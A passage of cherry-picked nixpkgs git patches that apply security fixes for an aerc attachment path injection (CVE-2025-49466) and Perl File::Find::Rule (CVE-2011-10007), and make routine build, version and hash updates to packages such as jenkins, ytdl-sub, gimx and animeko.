+ 			app.PushError(err.Error())
+ 			return
+ 		}
+-		filename := part.FileName()
++		filename := path.Base(part.FileName())
+ 		var tmpFile *os.File
+ 		if filename == "" {
+ 			extension := ""
diff --git a/pkgs/by-name/ae/aerc/package.nix b/pkgs/by-name/ae/aerc/package.nix
index b05f3b97c395..906c9a39f7f6 100644
--- a/pkgs/by-name/ae/aerc/package.nix
+++ b/pkgs/by-name/ae/aerc/package.nix
@@ -33,7 +33,14 @@ buildGoModule (finalAttrs: {
     python3Packages.wrapPython
   ];
 
-  patches = [ ./runtime-libexec.patch ];
+  patches = [
+    ./runtime-libexec.patch
+
+    # TODO remove these with the next release
+    # they resolve a path injection vulnerability when saving attachments (CVE-2025-49466)
+    ./basename-temp-file.patch
+    ./basename-temp-file-fixup.patch
+  ];
 
   postPatch = ''
     substituteAllInPlace config/aerc.conf

From 344f3534cc3b51f616079da2be6cfb51bc086a3d Mon Sep 17 00:00:00 2001
From: Stig Palmquist <git@stig.io>
Date: Thu, 5 Jun 2025 04:38:43 +0200
Subject: [PATCH 0638/4511] perlPackages.FileFindRule: patch for CVE-2011-10007

(cherry picked from commit 01885ade5348ff2502e384f2a07c26ff7582230f)
---
 .../FileFindRule-CVE-2011-10007.patch         | 25 +++++++++++++++++++
 pkgs/top-level/perl-packages.nix              |  3 +++
 2 files changed, 28 insertions(+)
 create mode 100644 pkgs/development/perl-modules/FileFindRule-CVE-2011-10007.patch

diff --git a/pkgs/development/perl-modules/FileFindRule-CVE-2011-10007.patch b/pkgs/development/perl-modules/FileFindRule-CVE-2011-10007.patch
new file mode 100644
index 000000000000..dd8492c60f21
--- /dev/null
+++ b/pkgs/development/perl-modules/FileFindRule-CVE-2011-10007.patch
@@ -0,0 +1,25 @@
+From ca70a73bb147549e62e74751d924b1dbb59d1707 Mon Sep 17 00:00:00 2001
+From: Stig Palmquist <stig@stig.io>
+Date: Thu, 5 Jun 2025 03:45:50 +0200
+Subject: [PATCH] Fix CVE-2011-10007
+
+---
+ lib/File/Find/Rule.pm | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/File/Find/Rule.pm b/lib/File/Find/Rule.pm
+index feccc76..d4dc475 100644
+--- a/lib/File/Find/Rule.pm
++++ b/lib/File/Find/Rule.pm
+@@ -420,7 +420,7 @@ sub grep {
+ 
+     $self->exec( sub {
+         local *FILE;
+-        open FILE, $_ or return;
++        open FILE, '<', $_ or return;
+         local ($_, $.);
+         while (<FILE>) {
+             for my $p (@pattern) {
+-- 
+2.49.0
+
diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 4d4c2964b37b..d040428bb6d8 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -13335,6 +13335,9 @@ with self;
       url = "mirror://cpan/authors/id/R/RC/RCLAMP/File-Find-Rule-0.34.tar.gz";
       hash = "sha256-fm8WzDPrHyn/Jb7lHVE/S4qElHu/oY7bLTzECi1kyv4=";
     };
+    patches = [
+      ../development/perl-modules/FileFindRule-CVE-2011-10007.patch
+    ];
     propagatedBuildInputs = [
       NumberCompare
       TextGlob

From 6d3b177d7da18cc031ad502af466f0607e838131 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 3 Jun 2025 00:59:01 +0200
Subject: [PATCH 0639/4511] ytdl-sub: fix updateScript

(cherry picked from commit ec0f23158776b89b6a3985c8c4cd6338d8f6b670)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 pkgs/by-name/yt/ytdl-sub/update.sh   | 5 +++++
 2 files changed, 7 insertions(+), 2 deletions(-)
 create mode 100755 pkgs/by-name/yt/ytdl-sub/update.sh

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index ab07b43ded8f..563e872fcd8a 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -4,8 +4,8 @@
   ffmpeg,
   lib,
   versionCheckHook,
-  nix-update-script,
 }:
+
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
   version = "2025.05.23";
@@ -45,7 +45,7 @@ python3Packages.buildPythonApplication rec {
   nativeCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
 
-  passthru.updateScript = nix-update-script { };
+  passthru.updateScript = ./update.sh;
 
   meta = {
     homepage = "https://github.com/jmbannon/ytdl-sub";
diff --git a/pkgs/by-name/yt/ytdl-sub/update.sh b/pkgs/by-name/yt/ytdl-sub/update.sh
new file mode 100755
index 000000000000..dde9badd3023
--- /dev/null
+++ b/pkgs/by-name/yt/ytdl-sub/update.sh
@@ -0,0 +1,5 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p curl jq nix-update
+
+version=$(curl ${GITHUB_TOKEN:+-u ":$GITHUB_TOKEN"} -sfL "https://api.github.com/repos/jmbannon/ytdl-sub/releases/latest" | jq -r .tag_name)
+nix-update --version="$version" ytdl-sub

From 54b89b6c959450ffe6e0ce4a82d6c0f0cb241ab1 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 2 Jun 2025 23:02:27 +0000
Subject: [PATCH 0640/4511] ytdl-sub: 2025.05.23 -> 2025.06.01.post1

(cherry picked from commit 323925ea92eac775cee300d37959b9773b7795e1)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 563e872fcd8a..20e51cf80293 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.05.23";
+  version = "2025.06.01.post1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-296lizseyBJdpu80MnquPB1ldGgpAcey3iDwiaLqpOQ=";
+    hash = "sha256-qwsUb9w/eeNO1mGYpnwkWgH5AfcUm7Y7DtkWep8SAcA=";
   };
 
   postPatch = ''

From e7f209819340507ed8cb32ca48e1f3345a1c6d86 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 6 Jun 2025 01:12:38 +0200
Subject: [PATCH 0641/4511] jenkins: Make use of finalAttrs

Signed-off-by: Felix Singer <felixsinger@posteo.net>
---
 pkgs/by-name/je/jenkins/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index 2f58201c9a93..9a284e9e6881 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -16,12 +16,12 @@
   curl,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "jenkins";
   version = "2.504.1";
 
   src = fetchurl {
-    url = "https://get.jenkins.io/war-stable/${version}/jenkins.war";
+    url = "https://get.jenkins.io/war-stable/${finalAttrs.version}/jenkins.war";
     hash = "sha256-gQJtsYsMSq1rYs9AjkxC5Xl2YbQcUXs332BiOOibnfE=";
   };
 
@@ -33,8 +33,8 @@ stdenv.mkDerivation rec {
     cp "$src" "$out/webapps/jenkins.war"
 
     # Create the `jenkins-cli` command.
-    ${openjdk}/bin/jar -xf "$src" WEB-INF/lib/cli-${version}.jar \
-      && mv WEB-INF/lib/cli-${version}.jar "$out/share/jenkins-cli.jar"
+    ${openjdk}/bin/jar -xf "$src" WEB-INF/lib/cli-${finalAttrs.version}.jar \
+      && mv WEB-INF/lib/cli-${finalAttrs.version}.jar "$out/share/jenkins-cli.jar"
 
     makeWrapper "${openjdk}/bin/java" "$out/bin/jenkins-cli" \
       --add-flags "-jar $out/share/jenkins-cli.jar"
@@ -84,8 +84,8 @@ stdenv.mkDerivation rec {
       earldouglas
       nequissimus
     ];
-    changelog = "https://www.jenkins.io/changelog-stable/#v${version}";
+    changelog = "https://www.jenkins.io/changelog-stable/#v${finalAttrs.version}";
     mainProgram = "jenkins-cli";
     platforms = platforms.all;
   };
-}
+})

From d6822a8edfa486494cea71097afcea573cc681ce Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Wed, 2 Apr 2025 16:27:33 -0700
Subject: [PATCH 0642/4511] nixos/networkd: update valid KeepConfiguration
 values

These changed with the release of systemd v257 from "dhcp*" to
"dynamic*".

(cherry picked from commit d8f9c63512b01e519465476a4dc7acb0848d676b)
---
 nixos/modules/system/boot/networkd.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/system/boot/networkd.nix b/nixos/modules/system/boot/networkd.nix
index 89d967ccc0bf..6b7b0ee336ac 100644
--- a/nixos/modules/system/boot/networkd.nix
+++ b/nixos/modules/system/boot/networkd.nix
@@ -899,8 +899,8 @@ let
           boolValues
           ++ [
             "static"
-            "dhcp-on-stop"
-            "dhcp"
+            "dynamic-on-stop"
+            "dynamic"
           ]
         ))
       ];

From a71f755075ddfd713e3a616e4b5f0e35d2cfe940 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Mon, 2 Jun 2025 11:54:08 +0200
Subject: [PATCH 0643/4511] jenkins: 2.504.1 -> 2.504.2

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit a6f173ecc2021433b54d71ee002cd2a645a62cf4)
---
 pkgs/by-name/je/jenkins/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index 9a284e9e6881..09fbba262277 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -18,11 +18,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "jenkins";
-  version = "2.504.1";
+  version = "2.504.2";
 
   src = fetchurl {
     url = "https://get.jenkins.io/war-stable/${finalAttrs.version}/jenkins.war";
-    hash = "sha256-gQJtsYsMSq1rYs9AjkxC5Xl2YbQcUXs332BiOOibnfE=";
+    hash = "sha256-5SNHwB3TkRbDZPt+ureNFWvOj2rdKEhP9XH+DQ+uq/Y=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 7d3da8bf952f19fe25259b7bf4e8e331d4eebd61 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Mon, 26 May 2025 17:29:01 +0100
Subject: [PATCH 0644/4511] matrix-continuwuity: add rocksdb to passthru

This allows others to use the same version of rocksdb, e.g., for backup
scripts.

(cherry picked from commit 28e980411dee1da39f1fe499f57afbb1a4b9aff4)
---
 pkgs/by-name/ma/matrix-continuwuity/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ma/matrix-continuwuity/package.nix b/pkgs/by-name/ma/matrix-continuwuity/package.nix
index fe082b6e8517..9e7f86cd936d 100644
--- a/pkgs/by-name/ma/matrix-continuwuity/package.nix
+++ b/pkgs/by-name/ma/matrix-continuwuity/package.nix
@@ -87,6 +87,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     ++ lib.optional enableLiburing "io_uring";
 
   passthru = {
+    rocksdb = rocksdb'; # make used rocksdb version available (e.g., for backup scripts)
     updateScript = nix-update-script { };
     tests =
       {

From 00ddaf3cad7af992b8603006cf28f3e7d8809280 Mon Sep 17 00:00:00 2001
From: Diogo Correia <me@diogotc.com>
Date: Wed, 28 May 2025 00:54:30 +0100
Subject: [PATCH 0645/4511] matrix-continuwuity: enable direct_tls build
 feature

(cherry picked from commit 1e3dae0cce9cd9cf8e78dc619e3104333d48c661)
---
 pkgs/by-name/ma/matrix-continuwuity/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ma/matrix-continuwuity/package.nix b/pkgs/by-name/ma/matrix-continuwuity/package.nix
index 9e7f86cd936d..8ace6e4d0edf 100644
--- a/pkgs/by-name/ma/matrix-continuwuity/package.nix
+++ b/pkgs/by-name/ma/matrix-continuwuity/package.nix
@@ -71,6 +71,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   buildFeatures =
     [
       "brotli_compression"
+      "direct_tls"
       "element_hacks"
       "gzip_compression"
       "media_thumbnail"

From 8544d73e93bd2b783a20ebd490e448cd6cff59f7 Mon Sep 17 00:00:00 2001
From: Jie Zhu <alienchuj@gmail.com>
Date: Wed, 21 May 2025 10:13:31 +0800
Subject: [PATCH 0646/4511] lan-mouse: install desktop and icon file

(cherry picked from commit e340fef5de52b7302abccc1e3be99d144c64ff8b)
---
 pkgs/by-name/la/lan-mouse/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/la/lan-mouse/package.nix b/pkgs/by-name/la/lan-mouse/package.nix
index a32cc9cc4956..529c4f98dbf0 100644
--- a/pkgs/by-name/la/lan-mouse/package.nix
+++ b/pkgs/by-name/la/lan-mouse/package.nix
@@ -50,6 +50,11 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-+UXRBYfbkb114mwDGj36oG5ZT3TQtcEzsbyZvtWTMxM=";
 
+  postInstall = ''
+    install -Dm444 de.feschber.LanMouse.desktop -t $out/share/applications
+    install -Dm444 lan-mouse-gtk/resources/de.feschber.LanMouse.svg -t $out/share/icons/hicolor/scalable/apps
+  '';
+
   meta = {
     description = "Software KVM switch for sharing a mouse and keyboard with multiple hosts through the network";
     homepage = "https://github.com/feschber/lan-mouse";

From 80f686a32b35c68bc1d2e264ab64a377a5f70b01 Mon Sep 17 00:00:00 2001
From: Bruno BELANYI <bruno@belanyi.fr>
Date: Tue, 3 Jun 2025 10:21:39 +0000
Subject: [PATCH 0647/4511] vimix-cursors: fix build

The `cairosvg` executable is no longer supplied by
`python3Packages.cairosvg`, use the top-level package instead.

(cherry picked from commit ab77870a4b3fd15031f7c66428fdc06aabf5800c)
---
 pkgs/by-name/vi/vimix-cursors/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/vimix-cursors/package.nix b/pkgs/by-name/vi/vimix-cursors/package.nix
index 665938ae02e4..b55a999ec03e 100644
--- a/pkgs/by-name/vi/vimix-cursors/package.nix
+++ b/pkgs/by-name/vi/vimix-cursors/package.nix
@@ -2,8 +2,8 @@
   lib,
   fetchFromGitHub,
   stdenvNoCC,
+  cairosvg,
   inkscape,
-  python3Packages,
   xcursorgen,
 }:
 stdenvNoCC.mkDerivation {
@@ -18,8 +18,8 @@ stdenvNoCC.mkDerivation {
   };
 
   nativeBuildInputs = [
+    cairosvg
     inkscape
-    python3Packages.cairosvg
     xcursorgen
   ];
 

From 3f6268ffd3952000630aba08c1e1f74c6850cf4d Mon Sep 17 00:00:00 2001
From: bb2020 <bb2020@users.noreply.github.com>
Date: Wed, 7 May 2025 15:00:15 +0300
Subject: [PATCH 0648/4511] gimx: fix build

(cherry picked from commit 7a875d8aa53f8dbe7907a2b8a040822617e2a0ff)
---
 pkgs/by-name/gi/gimx/conf.patch  | 37 ++++++++++++++++++++++++++------
 pkgs/by-name/gi/gimx/gcc14.patch | 26 ----------------------
 pkgs/by-name/gi/gimx/package.nix | 13 +++++------
 3 files changed, 36 insertions(+), 40 deletions(-)
 delete mode 100644 pkgs/by-name/gi/gimx/gcc14.patch

diff --git a/pkgs/by-name/gi/gimx/conf.patch b/pkgs/by-name/gi/gimx/conf.patch
index 1040a6192f38..c690a33805e3 100644
--- a/pkgs/by-name/gi/gimx/conf.patch
+++ b/pkgs/by-name/gi/gimx/conf.patch
@@ -1,8 +1,15 @@
-diff --git a/core/config_reader.c b/core/config_reader.c
-index 451fc48..ed45f4d 100644
 --- a/core/config_reader.c
 +++ b/core/config_reader.c
-@@ -1355,7 +1355,7 @@ int read_config_file(const char* file)
+@@ -17,7 +17,7 @@
+ #include "../directories.h"
+ #include "macros.h"
+ #include <errno.h>
+-
++#include <stdlib.h>
+ /*
+  * These variables are used to read the configuration.
+  */
+@@ -1355,7 +1355,7 @@
    char file_path[PATH_MAX];
  
    snprintf(file_path, sizeof(file_path), "%s%s%s%s", gimx_params.homedir, GIMX_DIR, CONFIG_DIR, file);
@@ -11,11 +18,18 @@ index 451fc48..ed45f4d 100644
    if(read_file(file_path) == -1)
    {
      gerror("read_file failed\n");
-diff --git a/core/gimx.c b/core/gimx.c
-index 700cae9..9143d8b 100755
 --- a/core/gimx.c
 +++ b/core/gimx.c
-@@ -192,7 +192,7 @@ void show_config()
+@@ -8,7 +8,7 @@
+ #include <errno.h> //to print errors
+ #include <string.h> //to print errors
+ #include <limits.h> //PATH_MAX
+-
++#include <stdlib.h>
+ #ifndef WIN32
+ #include <termios.h> //to disable/enable echo
+ #include <unistd.h>
+@@ -192,7 +192,7 @@
    char file_path[PATH_MAX];
  
    snprintf(file_path, sizeof(file_path), "%s%s%s%s", gimx_params.homedir, GIMX_DIR, CONFIG_DIR, gimx_params.config_file);
@@ -24,3 +38,14 @@ index 700cae9..9143d8b 100755
    FILE * fp = gfile_fopen(file_path, "r");
    if (fp == NULL)
    {
+--- a/core/connectors/bluetooth/linux/bt_mgmt.c
++++ b/core/connectors/bluetooth/linux/bt_mgmt.c
+@@ -322,7 +322,7 @@ static int read_link_keys(uint16_t index, uint16_t nb_keys, bdaddr_t bdaddrs[nb_
+   bdaddr_t ba;
+   char dongle_bdaddr[18];
+ 
+-  if(bt_device_abs_get(bt_abs_value)->get_bdaddr(index, &ba) < 0)
++  if(bt_device_abs_get()->get_bdaddr(index, &ba) < 0)
+   {
+     fprintf(stderr, "can't read device bdaddr\n");
+     return -1;
diff --git a/pkgs/by-name/gi/gimx/gcc14.patch b/pkgs/by-name/gi/gimx/gcc14.patch
deleted file mode 100644
index b736891f07ea..000000000000
--- a/pkgs/by-name/gi/gimx/gcc14.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-diff --git a/core/config_reader.c b/core/config_reader.c
-index 451fc48..737d27c 100644
---- a/core/config_reader.c
-+++ b/core/config_reader.c
-@@ -17,7 +17,7 @@
- #include "../directories.h"
- #include "macros.h"
- #include <errno.h>
--
-+#include <stdlib.h>
- /*
-  * These variables are used to read the configuration.
-  */
-diff --git a/core/gimx.c b/core/gimx.c
-index 700cae9..693f72f 100755
---- a/core/gimx.c
-+++ b/core/gimx.c
-@@ -8,7 +8,7 @@
- #include <errno.h> //to print errors
- #include <string.h> //to print errors
- #include <limits.h> //PATH_MAX
--
-+#include <stdlib.h>
- #ifndef WIN32
- #include <termios.h> //to disable/enable echo
- #include <unistd.h>
diff --git a/pkgs/by-name/gi/gimx/package.nix b/pkgs/by-name/gi/gimx/package.nix
index b2e1372fc35f..ed6a382e0298 100644
--- a/pkgs/by-name/gi/gimx/package.nix
+++ b/pkgs/by-name/gi/gimx/package.nix
@@ -34,10 +34,8 @@ stdenv.mkDerivation rec {
   };
 
   env.NIX_CFLAGS_COMPILE = "-Wno-error";
-  patches = [
-    ./conf.patch
-    ./gcc14.patch
-  ];
+  patches = [ ./conf.patch ];
+  makeFlags = [ "build-core" ];
 
   nativeBuildInputs = [ makeWrapper ];
   buildInputs = [
@@ -50,7 +48,6 @@ stdenv.mkDerivation rec {
     xorg.libX11
     xorg.libXi
   ];
-  makeFlags = [ "build-core" ];
 
   installPhase = ''
     runHook preInstall
@@ -70,10 +67,10 @@ stdenv.mkDerivation rec {
     runHook postInstall
   '';
 
-  meta = with lib; {
+  meta = {
     homepage = "https://github.com/matlo/GIMX";
     description = "Game Input Multiplexer";
-    license = licenses.gpl3Only;
-    platforms = platforms.linux;
+    license = lib.licenses.gpl3Only;
+    platforms = lib.platforms.linux;
   };
 }

From 6001d49c74c74c40ee54f8362b29544bb6395eec Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Thu, 29 May 2025 08:05:47 +0800
Subject: [PATCH 0649/4511] animeko: fix

(cherry picked from commit c46498783a810d687d22d80198aa2512c16e4a4f)
---
 pkgs/by-name/an/animeko/package.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/by-name/an/animeko/package.nix b/pkgs/by-name/an/animeko/package.nix
index 0998722307b0..51b328cd4f5e 100644
--- a/pkgs/by-name/an/animeko/package.nix
+++ b/pkgs/by-name/an/animeko/package.nix
@@ -207,6 +207,8 @@ stdenv.mkDerivation (finalAttrs: {
     "libdca.so.0"
     "liba52-0.7.4.so"
     "libFLAC.so.12"
+    "libtheoradec.so.1"
+    "libtheoraenc.so.1"
   ];
 
   dontWrapQtApps = true;

From 892e3a45a73f3c99d87313a8b47db2011c12647e Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Thu, 29 May 2025 23:04:57 +0000
Subject: [PATCH 0650/4511] animeko: 4.10.1 -> 4.11.1

(cherry picked from commit ab95fc17177a620f13baaab609c3d5687abcf82e)
---
 pkgs/by-name/an/animeko/deps.json   | 1813 +++++++++++++++------------
 pkgs/by-name/an/animeko/package.nix |    4 +-
 2 files changed, 1002 insertions(+), 815 deletions(-)

diff --git a/pkgs/by-name/an/animeko/deps.json b/pkgs/by-name/an/animeko/deps.json
index 4e2cb0c59590..1b0b7a189c81 100644
--- a/pkgs/by-name/an/animeko/deps.json
+++ b/pkgs/by-name/an/animeko/deps.json
@@ -13,7 +13,6 @@
    "pom": "sha256-2fkI7m1IgSSs7VVv2Ka6nf5kf+AUuFrXIhRhEQ0DI2E="
   },
   "androidx/annotation#annotation-jvm/1.8.1": {
-   "jar": "sha256-mqsybZSSgAmRhUNgrCSPSTzn98MYNRkwm3is6eJA9vY=",
    "module": "sha256-yVnjsM3HXBXv4BYF+laqefAz45I44VBji4+r3mqhIaA=",
    "pom": "sha256-1JIDczqm+uBGw6PeTnlu7TR1lXVUhqZCc5iYRHWXULQ="
   },
@@ -57,35 +56,34 @@
    "module": "sha256-0kq0tJY72cP4nhwA15eqeV6wK6/HGNzf0mYhH5k/KyM=",
    "pom": "sha256-0eYk/dD1wygCSsORVHJkScQzfZ5WoFR/sLsW1Dn6FlY="
   },
-  "androidx/collection#collection-jvm/1.5.0-beta01": {
+  "androidx/collection#collection-jvm/1.5.0": {
    "jar": "sha256-cLNZJOS6vN/6N9Dlde4DnFai2XEjNCYkxItgMjNwQ0E=",
+   "module": "sha256-3eheKSUJIxtUcbsJG1dQmdT0MWHrKB6HOFA4oBYQcuY=",
+   "pom": "sha256-EcQVhk00AvYdQm5nIQFY3OGwRoBBJSaplPGCPs08s4g="
+  },
+  "androidx/collection#collection-jvm/1.5.0-beta01": {
    "module": "sha256-m9Z90440sDcxxzEBAPpp2VYEY7WO82jiTplq39WylHk=",
    "pom": "sha256-/TNZM8LOdQe4YcQsRrKMlLKMFVxsFh69V8vgrcZjE+Q="
   },
-  "androidx/collection#collection-jvm/1.5.0-beta02": {
-   "jar": "sha256-cLNZJOS6vN/6N9Dlde4DnFai2XEjNCYkxItgMjNwQ0E=",
-   "module": "sha256-yWJG1TMsMZqFSrXS9FSuxp7B+OxCE8y9w8Jveoqq4Rg=",
-   "pom": "sha256-DHhItMroK4NUQVzDv8UOSBU38sDsOHLDdyi2AJNawAw="
-  },
   "androidx/collection#collection/1.4.5": {
    "module": "sha256-I34e/Faj4lqOpM7sJlWMKZhEv8U6rQb/P1PKHINeKMg=",
    "pom": "sha256-DA39zlfaULfpyifTsZv/vjuY8x3cfgPNWEz3eAmns0k="
   },
+  "androidx/collection#collection/1.5.0": {
+   "module": "sha256-v+t72E8/fdp71ztnCdSh9h9aN/hDcouuCKBn49+aCu8=",
+   "pom": "sha256-LWXI0LNtS0+q3ESv+breI9hx1xWe7fKz8C2AKzS3elc="
+  },
   "androidx/collection#collection/1.5.0-beta01": {
    "module": "sha256-zTV6fk5naCWsI4CaFLSw0HOExeNoUc58UVC3JnqLbxs=",
    "pom": "sha256-ZpkVL++tCxICWB6bwx1hXuVwby1ukelKc84D/MZuNHw="
   },
-  "androidx/collection#collection/1.5.0-beta02": {
-   "module": "sha256-XRtuakhubfGGt+zxG0YZ9qnNJjWzMoP+7vVCC7jK4lc=",
-   "pom": "sha256-dYjYKThPGuEmvP8qMD3kIZH43XcHuMyNv/NHNyGhC+A="
-  },
-  "androidx/databinding#databinding-common/8.6.1": {
+  "androidx/databinding#databinding-common/8.9.2": {
    "jar": "sha256-Zsq4JjnawPbCQzRkwJOwdNYIxLuIfsOKm4vErJgSZzI=",
-   "pom": "sha256-HVKzfmoakn9cRdrzpUt3qvP+ghuVaBfYMgrZeM9HObI="
+   "pom": "sha256-73R0N4INYwD/f7BCNPJ9/EOkkxt28cYect0GvXsPrW8="
   },
-  "androidx/databinding#databinding-compiler-common/8.6.1": {
-   "jar": "sha256-9ht4WRdSaUuWDV/o+X/eSaL7ORFkf/q9bX1Wkjf8c2I=",
-   "pom": "sha256-0KpDvv3NKTdFk5QCJ0aw0l0Hq5S4njiMxd51jjbZsxs="
+  "androidx/databinding#databinding-compiler-common/8.9.2": {
+   "jar": "sha256-Gg5WpebKaOJSXYmtDJB84nhjJR5ttLmcwqIlz5WFDAU=",
+   "pom": "sha256-SiuhKeVFJWnubBpIh2qjnLiohRqbbQ5lyC8NPI0EoBo="
   },
   "androidx/datastore#datastore-core-jvm/1.1.3": {
    "jar": "sha256-Niy60fE4dKIsc2ChjrmVylKjYDeboOpa8bHPDfAxmi8=",
@@ -133,32 +131,50 @@
    "module": "sha256-LX9tVQQimfnE+EeKoJS8QJmjRpAnef8wkf7R38K2L1M=",
    "pom": "sha256-drUM5mT6RKSxZUIIHgiJkc8xaubnI6pM0BpicZ8aiic="
   },
-  "androidx/lifecycle#lifecycle-common-jvm/2.9.0-alpha08": {
-   "jar": "sha256-rLRTlzoTYO0Y2EBYDm+Ncdyr+lJ6oehZvtSE20xTNbE=",
-   "module": "sha256-9Xd8ppZxVmGZ3jhyrBFGQCR4uHe+k6CWCncnL4Y0dI4=",
-   "pom": "sha256-UJ/gyGH21JJu5935B3V2mExTRb7B/6tMBAEs5agCgGY="
+  "androidx/lifecycle#lifecycle-common-jvm/2.8.5": {
+   "jar": "sha256-YchzpzJ8lG7AM8MQu5jz+S7qvO3g4aUgCrihiWSDx78=",
+   "module": "sha256-BWg9kQ3FQdBsTJekmSs+KXGueMK1zDX2vx2OB94Olw4=",
+   "pom": "sha256-q5cbvWNFWm6QTCC8Ub19oVOMDAglIx5SvDA94KsenuA="
   },
-  "androidx/lifecycle#lifecycle-common/2.9.0-alpha08": {
-   "module": "sha256-awUTjQm0RClnOOsshSgBycz8ZB3jUWX8wIZRw9/BlvY=",
-   "pom": "sha256-gTBpAMV+VZ2TFs75W3MFH2ek74p8vxSjsLTWuN46WX4="
+  "androidx/lifecycle#lifecycle-common-jvm/2.9.0-beta01": {
+   "jar": "sha256-N9ibIQHwdKxsJgkX2rsYVgdkXuIAqjAYx8W95w7c8YQ=",
+   "module": "sha256-kirziYbvAsOhMw91T/ZSvgJm1DQI5TvUOWtp9xuknyA=",
+   "pom": "sha256-YCk+UL9I6rsOpBjfzu8CQBJtJR0EARD2FHs+UP1Gpbw="
   },
-  "androidx/lifecycle#lifecycle-runtime-desktop/2.9.0-alpha08": {
-   "jar": "sha256-c54I5HdGbNhxhLvRfEkLPrgdBN0X/otowLVJpFnlg+o=",
-   "module": "sha256-/U2AQwWz+ccQ3pZgTDaaWJzpBWzvPBLXLfCvxgBooCQ=",
-   "pom": "sha256-/uDg3D+qBrx2tDRs5B5sGGSdgxib5STv7oEbrnlJfOk="
+  "androidx/lifecycle#lifecycle-common/2.8.5": {
+   "module": "sha256-AwuN8Z5JeKwb6WnCopoBv8LMVihPUSY5oK00wi2mxPE=",
+   "pom": "sha256-KCYLDQ/KghpeL0Ug1DKLt94SYCGz3c1Hgt1WQRLsn2E="
   },
-  "androidx/lifecycle#lifecycle-runtime/2.9.0-alpha08": {
-   "module": "sha256-ihhLC+ff0o4yvI11d31N1fezUgOgWY3BEiNJTpvDmE4=",
-   "pom": "sha256-K1NQSadO4zEFGDp3frk/K8Pc4eZyLVPtU1tzT2qwgLY="
+  "androidx/lifecycle#lifecycle-common/2.9.0-beta01": {
+   "module": "sha256-qga0PKCIqzWdZ5Gk1JGQlGyOSic2WyT7NA0/8YGRsLg=",
+   "pom": "sha256-RPmLIhBroE0Rk5VcIsnUL5xUj53JN6ako0feStjkt0c="
   },
-  "androidx/lifecycle#lifecycle-viewmodel-desktop/2.9.0-alpha08": {
-   "jar": "sha256-XRIKJZL12D4c15kar6/dlGq9d4aM0i52mqmmAn60sjA=",
-   "module": "sha256-+eIYGqxXK8p0PmLn4PpC11zD/T0OvROUZ2gB8BcBxcs=",
-   "pom": "sha256-RSaPE7q3ZjmOeYOGRqUY4NwFic6bUlajze30+d7Wais="
+  "androidx/lifecycle#lifecycle-runtime-desktop/2.9.0-beta01": {
+   "jar": "sha256-zdh7lJZK950FTH6iti2JGGVAfTMV2Z+oOoXQm6k4XOs=",
+   "module": "sha256-AWDUDY2iOTkAGknrwZTyt+Ao7KR+5wkKqfwJMUGYp/U=",
+   "pom": "sha256-0JT1QYT6YyqFioyicSlPxqbaF4+ICpSk51zPVUx1mh8="
   },
-  "androidx/lifecycle#lifecycle-viewmodel/2.9.0-alpha08": {
-   "module": "sha256-xq8B7ZVLEyTGUB6TGRvOuBgPI4kabPhV6LwOcoZ4n7s=",
